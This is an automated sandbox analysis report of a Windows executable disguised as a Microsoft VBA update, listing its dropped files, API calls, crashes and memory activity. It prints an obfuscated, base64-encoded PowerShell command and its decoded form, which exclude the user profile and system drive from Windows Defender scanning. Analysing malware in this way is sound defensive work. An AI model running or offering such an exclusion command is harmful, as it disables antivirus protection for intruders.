Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Sept. 4, 2023, 7:38 a.m.	Sept. 4, 2023, 7:41 a.m.

Size	5.9MB
Type	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
MD5	`b88cc7ba6a01daf0de338ee2c656864e`
SHA256	`67de54a5271a2354b492bbaf5bbead07cc1e24fd5efa94bdac2fc30f0475db1a`
CRC32	`DF5A4C37`
ssdeep	`98304:K+erVUYkek1Bqs4uzLw1Hf6QQd1LzMQmLNHDUHqvqJhRdOyY:urVsewBvHw1HyPd1LzMQ2DWqq+`
Yara	PE_Header_Zero - PE File Signature IsPE32 - (no description)

VBA65-KB974945-x86-EN.exe "C:\Users\test22\AppData\Local\Temp\VBA65-KB974945-x86-EN.exe"
2560
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAcwBtACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAYQB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGkAbQBqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAdgBuACMAPgA="
  2628
- XClient.exe "C:\Users\test22\AppData\Roaming\XClient.exe"
  2720
- VBA65-KB974945-x86-ENU.exe "C:\Users\test22\AppData\Roaming\VBA65-KB974945-x86-ENU.exe"
  2684
- etc.exe "C:\Users\test22\AppData\Roaming\etc.exe"
  2768

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (10 events)

Time & API	Arguments	Status	Return
GetComputerNameW Sept. 4, 2023, 7:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 7:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 7:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 7:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Sept. 4, 2023, 7:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 7:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 7:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 7:39 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Sept. 4, 2023, 7:39 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 4, 2023, 7:39 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (5 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 4, 2023, 7:38 a.m.			0	0
IsDebuggerPresent Sept. 4, 2023, 7:38 a.m.			0	0
IsDebuggerPresent Sept. 4, 2023, 7:38 a.m.			0	0
IsDebuggerPresent Sept. 4, 2023, 7:39 a.m.			0	0
IsDebuggerPresent Sept. 4, 2023, 7:39 a.m.			0	0

Command line console output was observed (9 events)

Time & API	Arguments	Status	Return
WriteConsoleW Sept. 4, 2023, 7:38 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW Sept. 4, 2023, 7:38 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW Sept. 4, 2023, 7:38 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW Sept. 4, 2023, 7:38 a.m.	buffer: At line:1 char:24 console_handle: 0x00000047	1	1
WriteConsoleW Sept. 4, 2023, 7:38 a.m.	buffer: + <#usm#>Add-MpPreference <<<< <#fay#> -ExclusionPath @($env:UserProfile,$env: console_handle: 0x00000053	1	1
WriteConsoleW Sept. 4, 2023, 7:38 a.m.	buffer: SystemDrive) <#imj#> -Force <#svn#> console_handle: 0x0000005f	1	1
WriteConsoleW Sept. 4, 2023, 7:38 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000006b	1	1
WriteConsoleW Sept. 4, 2023, 7:38 a.m.	buffer: mmandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW Sept. 4, 2023, 7:38 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000083	1	1

Uses Windows APIs to generate a cryptographic key (49 events)

Time & API	Arguments	Status	Return
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00464a68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00464fe8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00464fe8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00464fe8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004651e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004651e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004651e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004651e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004651e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004651e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00464a28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00464a28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00464a28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00464fe8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00464fe8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00464fe8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00464628 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00464fe8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00464fe8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00464fe8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00464fe8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00464fe8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00464fe8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00464fe8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00465368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00465368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00465368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00465368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00465368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00465368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00465368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00465368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00465368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00465368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00465368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00465368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00465368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00465368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004652a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004652a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004652a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004652a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004652a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004652a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004652a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004652a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001abe8190 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001abe8200 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 4, 2023, 7:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001abe8200 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 4, 2023, 7:38 a.m.		1	1	0

One or more processes crashed (2 events)

Time & API	Arguments	Status	Return	Repeated
__exception__ Sept. 4, 2023, 7:39 a.m.	stacktrace: TF_CreateCategoryMgr+0x173 TF_GetInputScope-0x19c msctf+0x13c6a @ 0x75a93c6a TF_CreateCategoryMgr+0x119 TF_GetInputScope-0x1f6 msctf+0x13c10 @ 0x75a93c10 CtfImeInquireExW+0x138 TF_CreateCategoryMgr-0xfa6 msctf+0x12b51 @ 0x75a92b51 CtfImeInquireExW+0x380 TF_CreateCategoryMgr-0xd5e msctf+0x12d99 @ 0x75a92d99 CtfImeInquireExW+0x354 TF_CreateCategoryMgr-0xd8a msctf+0x12d6d @ 0x75a92d6d CtfImeInquireExW+0x328 TF_CreateCategoryMgr-0xdb6 msctf+0x12d41 @ 0x75a92d41 TF_CreateCategoryMgr+0x14a TF_GetInputScope-0x1c5 msctf+0x13c41 @ 0x75a93c41 TF_CreateCategoryMgr+0x1ff TF_GetInputScope-0x110 msctf+0x13cf6 @ 0x75a93cf6 CtfImeAssociateFocus+0x133 TF_GetThreadFlags-0x584 msctf+0x540b @ 0x75a8540b CtfImeAssociateFocus+0x34 TF_GetThreadFlags-0x683 msctf+0x530c @ 0x75a8530c ImmSetActiveContext+0x9d CtfImmGetTMAEFlags-0xaa imm32+0x122e3 @ 0x759d22e3 CreateWindowExA+0x7b9 LoadCursorA-0xee user32+0x1d9e7 @ 0x7585d9e7 UnregisterClassW+0xe75 LoadIconW-0x349 user32+0x1adf9 @ 0x7585adf9 ReleaseDC+0x172 CharLowerBuffW-0x53 user32+0x175b8 @ 0x758575b8 ReleaseDC+0x1a7 CharLowerBuffW-0x1e user32+0x175ed @ 0x758575ed gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75856d3a GetThreadDesktop+0x185 GetWindowLongW-0x216 user32+0x16de8 @ 0x75856de8 GetThreadDesktop+0x1e1 GetWindowLongW-0x1ba user32+0x16e44 @ 0x75856e44 KiUserCallbackDispatcher+0x2e KiUserExceptionDispatcher-0x1a ntdll+0x1011a @ 0x76f2011a vba65-kb974945-x86-enu+0x2d8d @ 0x1002d8d gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa GetCursor+0x2ff DrawStateW-0x265 user32+0x3f9df @ 0x7587f9df GetCursor+0xa4 DrawStateW-0x4c0 user32+0x3f784 @ 0x7587f784 DrawTextExA+0xd4 CreateDialogIndirectParamA-0x7d user32+0x2afac @ 0x7586afac gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75856d3a GetWindow+0x3f0 SendMessageW-0x1b user32+0x1965e @ 0x7585965e SetKeyboardState+0xbbd CliImmSetHotKey-0x12c9e user32+0x4206f @ 0x7588206f DialogBoxIndirectParamAorW+0xf7 SetDlgItemTextW-0x55 user32+0x3cf4b @ 0x7587cf4b DialogBoxIndirectParamAorW+0x36 SetDlgItemTextW-0x116 user32+0x3ce8a @ 0x7587ce8a DialogBoxIndirectParamA+0x1b CreateCursor-0x9 user32+0x5ce7f @ 0x7589ce7f vba65-kb974945-x86-enu+0x5b54 @ 0x1005b54 vba65-kb974945-x86-enu+0x361a @ 0x100361a BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x755c33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.symbol: exception.exception_code: 0xc0000005 exception.address: 0x8d50ffff registers.esp: 849240 registers.edi: 6018240 registers.eax: 16243664 registers.ebp: 849280 registers.edx: 849260 registers.ebx: 0 registers.esi: 6018452 registers.ecx: 1922914236	1	0	0
__exception__ Sept. 4, 2023, 7:39 a.m.	stacktrace: GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75856d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x758577c4 DispatchMessageW+0xf GetMessageW-0x58 user32+0x1788a @ 0x7585788a DialogBoxIndirectParamW+0x20a DialogBoxIndirectParamAorW-0x57 user32+0x3cdfd @ 0x7587cdfd DialogBoxIndirectParamAorW+0x108 SetDlgItemTextW-0x44 user32+0x3cf5c @ 0x7587cf5c DialogBoxIndirectParamAorW+0x36 SetDlgItemTextW-0x116 user32+0x3ce8a @ 0x7587ce8a DialogBoxIndirectParamA+0x1b CreateCursor-0x9 user32+0x5ce7f @ 0x7589ce7f vba65-kb974945-x86-enu+0x5b54 @ 0x1005b54 vba65-kb974945-x86-enu+0x361a @ 0x100361a BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x755c33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: db 85 c0 76 34 8d 87 08 01 00 00 89 45 fc 8d 77 exception.exception_code: 0xc0000005 exception.symbol: DSA_GetSize+0xca99 comctl32+0x133c8c exception.address: 0x72a13c8c registers.esp: 851212 registers.edi: 0 registers.eax: 1923169420 registers.ebp: 851252 registers.edx: 0 registers.ebx: 0 registers.esi: 1923169420 registers.ecx: 8326504	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

Sept. 4, 2023, 7:39 a.m.

stacktrace:

TF_CreateCategoryMgr+0x173 TF_GetInputScope-0x19c msctf+0x13c6a @ 0x75a93c6a
TF_CreateCategoryMgr+0x119 TF_GetInputScope-0x1f6 msctf+0x13c10 @ 0x75a93c10
CtfImeInquireExW+0x138 TF_CreateCategoryMgr-0xfa6 msctf+0x12b51 @ 0x75a92b51
CtfImeInquireExW+0x380 TF_CreateCategoryMgr-0xd5e msctf+0x12d99 @ 0x75a92d99
CtfImeInquireExW+0x354 TF_CreateCategoryMgr-0xd8a msctf+0x12d6d @ 0x75a92d6d
CtfImeInquireExW+0x328 TF_CreateCategoryMgr-0xdb6 msctf+0x12d41 @ 0x75a92d41
TF_CreateCategoryMgr+0x14a TF_GetInputScope-0x1c5 msctf+0x13c41 @ 0x75a93c41
TF_CreateCategoryMgr+0x1ff TF_GetInputScope-0x110 msctf+0x13cf6 @ 0x75a93cf6
CtfImeAssociateFocus+0x133 TF_GetThreadFlags-0x584 msctf+0x540b @ 0x75a8540b
CtfImeAssociateFocus+0x34 TF_GetThreadFlags-0x683 msctf+0x530c @ 0x75a8530c
ImmSetActiveContext+0x9d CtfImmGetTMAEFlags-0xaa imm32+0x122e3 @ 0x759d22e3
CreateWindowExA+0x7b9 LoadCursorA-0xee user32+0x1d9e7 @ 0x7585d9e7
UnregisterClassW+0xe75 LoadIconW-0x349 user32+0x1adf9 @ 0x7585adf9
ReleaseDC+0x172 CharLowerBuffW-0x53 user32+0x175b8 @ 0x758575b8
ReleaseDC+0x1a7 CharLowerBuffW-0x1e user32+0x175ed @ 0x758575ed
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa
GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75856d3a
GetThreadDesktop+0x185 GetWindowLongW-0x216 user32+0x16de8 @ 0x75856de8
GetThreadDesktop+0x1e1 GetWindowLongW-0x1ba user32+0x16e44 @ 0x75856e44
KiUserCallbackDispatcher+0x2e KiUserExceptionDispatcher-0x1a ntdll+0x1011a @ 0x76f2011a
vba65-kb974945-x86-enu+0x2d8d @ 0x1002d8d
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa
GetCursor+0x2ff DrawStateW-0x265 user32+0x3f9df @ 0x7587f9df
GetCursor+0xa4 DrawStateW-0x4c0 user32+0x3f784 @ 0x7587f784
DrawTextExA+0xd4 CreateDialogIndirectParamA-0x7d user32+0x2afac @ 0x7586afac
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa
GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75856d3a
GetWindow+0x3f0 SendMessageW-0x1b user32+0x1965e @ 0x7585965e
SetKeyboardState+0xbbd CliImmSetHotKey-0x12c9e user32+0x4206f @ 0x7588206f
DialogBoxIndirectParamAorW+0xf7 SetDlgItemTextW-0x55 user32+0x3cf4b @ 0x7587cf4b
DialogBoxIndirectParamAorW+0x36 SetDlgItemTextW-0x116 user32+0x3ce8a @ 0x7587ce8a
DialogBoxIndirectParamA+0x1b CreateCursor-0x9 user32+0x5ce7f @ 0x7589ce7f
vba65-kb974945-x86-enu+0x5b54 @ 0x1005b54
vba65-kb974945-x86-enu+0x361a @ 0x100361a
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x755c33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5

exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x8d50ffff
registers.esp: 849240
registers.edi: 6018240
registers.eax: 16243664
registers.ebp: 849280
registers.edx: 849260
registers.ebx: 0
registers.esi: 6018452
registers.ecx: 1922914236

__exception__

Sept. 4, 2023, 7:39 a.m.

stacktrace:

GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75856d3a
CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x758577c4
DispatchMessageW+0xf GetMessageW-0x58 user32+0x1788a @ 0x7585788a
DialogBoxIndirectParamW+0x20a DialogBoxIndirectParamAorW-0x57 user32+0x3cdfd @ 0x7587cdfd
DialogBoxIndirectParamAorW+0x108 SetDlgItemTextW-0x44 user32+0x3cf5c @ 0x7587cf5c
DialogBoxIndirectParamAorW+0x36 SetDlgItemTextW-0x116 user32+0x3ce8a @ 0x7587ce8a
DialogBoxIndirectParamA+0x1b CreateCursor-0x9 user32+0x5ce7f @ 0x7589ce7f
vba65-kb974945-x86-enu+0x5b54 @ 0x1005b54
vba65-kb974945-x86-enu+0x361a @ 0x100361a
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x755c33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5

exception.instruction_r: db 85 c0 76 34 8d 87 08 01 00 00 89 45 fc 8d 77
exception.exception_code: 0xc0000005
exception.symbol: DSA_GetSize+0xca99 comctl32+0x133c8c
exception.address: 0x72a13c8c
registers.esp: 851212
registers.edi: 0
registers.eax: 1923169420
registers.ebp: 851252
registers.edx: 0
registers.ebx: 0
registers.esi: 1923169420
registers.ecx: 8326504

Allocates read-write-execute memory (usually to unpack itself) (50 out of 187 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 1179648 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027d0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72241000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0266a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72242000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02662000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02672000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028b1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028b2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0269a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02673000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02674000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 7:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026ab000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
